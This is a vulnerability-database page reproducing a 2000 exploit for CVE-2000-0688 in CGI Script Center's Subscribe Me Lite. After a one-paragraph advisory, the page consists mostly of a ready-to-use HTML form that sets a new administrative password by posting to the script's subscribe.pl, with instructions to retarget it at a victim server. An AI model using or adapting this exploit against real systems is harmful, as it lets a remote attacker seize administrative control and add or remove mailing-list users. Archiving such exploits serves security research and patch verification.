Recent Vulnerabilities Research Posts Trends Blog About Contact

Related Vulnerabilities: CVE-2000-0688

Publish Date: 23 Aug 2000

Author: n30

                							

                source: http://www.securityfocus.com/bid/1607/info
 
Regardless of privilege level, any remote user can modify the administrative password for CGI Script Centers' Subscribe Me Lite. This would grant the user full administrative privileges which includes addition or removal of users from mailing lists.


&lt;html&gt;
&lt;FORM ACTION="http://www.cgiscriptcenter.com/cgi-bin/subprodemo/subscribe.pl" METHOD="POST"&gt;
    &lt;CENTER&gt;&lt;BR&gt;
    &lt;TABLE BORDER="0" WIDTH="400"&gt;
      &lt;TBODY&gt;
      &lt;TR&gt;
        &lt;TD&gt;
        
        &lt;P&gt;&lt;B&gt;&lt;FONT FACE="verdana, arial, helvetica"&gt;&lt;FONT COLOR="#FF0000"&gt;Subscribe
          Me LITE&lt;/FONT&gt; Status: Admin Password Set Vulnerability Exploit&lt;/FONT&gt;&lt;/B&gt;&lt;/P&gt;
        &lt;CENTER&gt;&lt;FONT FACE="verdana, arial, helvetica"&gt;&lt;FONTCOLOR="#FF0000"&gt;n30&lt;/FONT&gt;&lt;/CENTER&gt;
        &lt;P&gt;&lt;FONT SIZE="-1" FACE="verdana, arial, helvetica"&gt;Please enter the NEW Admin Pass: .&lt;/FONT&gt;&lt;/P&gt;
        &lt;CENTER&gt;
        &lt;TABLE BORDER="0"&gt;
          &lt;TBODY&gt;
          &lt;TR&gt;
            &lt;TD ALIGN="RIGHT"&gt;&lt;INPUT TYPE="PASSWORD" NAME="pwd"&gt;&lt;/TD&gt;
            &lt;TD&gt;&lt;FONT SIZE="-2" FACE="verdana, arial, helvetica"&gt;password&lt;/FONT&gt;&lt;/TD&gt;
          &lt;/TR&gt;
          &lt;TR&gt;
            &lt;TD ALIGN="RIGHT"&gt;&lt;INPUT TYPE="PASSWORD" NAME="pwd2"&gt;&lt;/TD&gt;
            &lt;TD&gt;&lt;FONT SIZE="-2" FACE="verdana, arial, helvetica"&gt;confirmation&lt;/FONT&gt;&lt;/TD&gt;
          &lt;/TR&gt;
          &lt;TR&gt;
            &lt;TD ALIGN="CENTER"&gt;&lt;BR&gt;
            &lt;INPUT TYPE="SUBMIT" NAME="setpwd" VALUE="  Set Password  "&gt;&lt;/TD&gt;
            &lt;TD&gt;&lt;BR&gt;
            &lt;INPUT TYPE="RESET" NAME=""&gt;&lt;/TD&gt;
          &lt;/TR&gt;&lt;/TBODY&gt;
        &lt;/TABLE&gt;&lt;/CENTER&gt;&lt;/TD&gt;
      &lt;/TR&gt;&lt;/TBODY&gt;
    &lt;/TABLE&gt;
&lt;FONTSIZE="1" FACE="verdana, arial, helvetica"&gt;&lt;B&gt;&lt;BR&gt; To Use Modify Source To Point to subscribe.pl on TARGET Server &lt;BR&gt;&lt;BR&gt;&lt;a href="mailto:n30@alldas.de"&gt;mail-me&lt;/a&gt;&lt;/CENTER&gt;&lt;/FORM&gt;
&lt;/html&gt;

Vulmon Search is a vulnerability search engine. It gives comprehensive vulnerability information through a very simple user interface.

Home Recent Vulnerabilities Research Posts Trends Blog About Contact

Vulmon Search Vulmon Research Vulmon Alerts Vulmap

Twitter Reddit Linkedin Facebook

CGI Script Center Subscribe Me Lite 2.0 - Administrative Password Alteration (2)

Vulmon Search

About

Products

Connect